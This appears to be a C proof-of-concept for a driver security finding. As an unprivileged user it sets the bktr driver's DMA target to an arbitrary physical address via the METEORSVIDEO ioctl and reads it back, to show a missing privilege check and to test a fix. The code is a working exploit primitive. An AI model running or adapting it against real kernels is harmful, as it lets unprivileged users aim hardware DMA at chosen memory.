DF-1215 / poc_rig.c
/* * DF-1215 rig PoC: exercise the PRODUCTION METEORSVIDEO/METEORGVIDEO * ioctl path as an UNPRIVILEGED user, via the bktrig rig module * (/dev/bktrig0 -> production video_ioctl() from bktr.ko). * * On the baseline (unfixed) kernel: METEORSVIDEO with an arbitrary * physical address SUCCEEDS and METEORGVIDEO reads it back -- proving the * production handler stores an attacker-chosen bt848 DMA target with no * privilege check (CWE-862) that the RISC builders then consume * (bktr_core.c:2670/2841/2996/3114/3215). * * On the fixed kernel: METEORSVIDEO with addr != 0 must fail EPERM, * while addr == 0 (use the kernel-allocated buffer) stays allowed. * * Build: cc -O2 -Wall -o poc_rig poc_rig.c * Run: ./poc_rig (as ANY non-root user) */ #include <fcntl.h> #include <unistd.h> #include <strings.h> #include <string.h> #include <errno.h> #include <stdio.h> #include <sys/ioctl.h> #include <dev/video/meteor/ioctl_meteor.h> static int set_video(int fd, unsigned long addr) { struct meteor_video v; bzero(&v, sizeof(v)); v.addr = addr; v.width = 640 * 4; v.banksize = 0; v.ramsize = 0; errno = 0; return ioctl(fd, METEORSVIDEO, &v); } int main(void) { struct meteor_video g; int fd, rc; printf("uid=%d euid=%d\n", getuid(), geteuid()); fd = open("/dev/bktrig0", O_RDWR); if (fd < 0) { perror("open /dev/bktrig0"); return 1; } /* 1) THE ATTACK: set DMA target to an arbitrary physical address */ rc = set_video(fd, 0x100000UL); printf("METEORSVIDEO addr=0x100000 -> rc=%d errno=%d (%s)\n", rc, errno, strerror(errno)); /* 2) read it back through the production METEORGVIDEO path */ memset(&g, 0xAA, sizeof(g)); errno = 0; rc = ioctl(fd, METEORGVIDEO, &g); printf("METEORGVIDEO readback -> rc=%d addr=0x%lx width=%lu\n", rc, g.addr, g.width); /* 3) the non-redirect case (addr == 0) must remain allowed */ rc = set_video(fd, 0UL); printf("METEORSVIDEO addr=0 (kernel buffer mode) -> rc=%d errno=%d " "(%s)\n", rc, errno, strerror(errno)); if (close(fd) < 0) perror("close"); return 0; } |